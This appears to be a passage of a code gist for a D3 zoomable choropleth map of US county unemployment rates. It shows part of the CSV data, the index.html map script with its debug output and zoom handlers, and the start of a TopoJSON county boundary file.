05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/b2b7902aac884a4a5f41479b0b55c952">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.2&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;.state&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&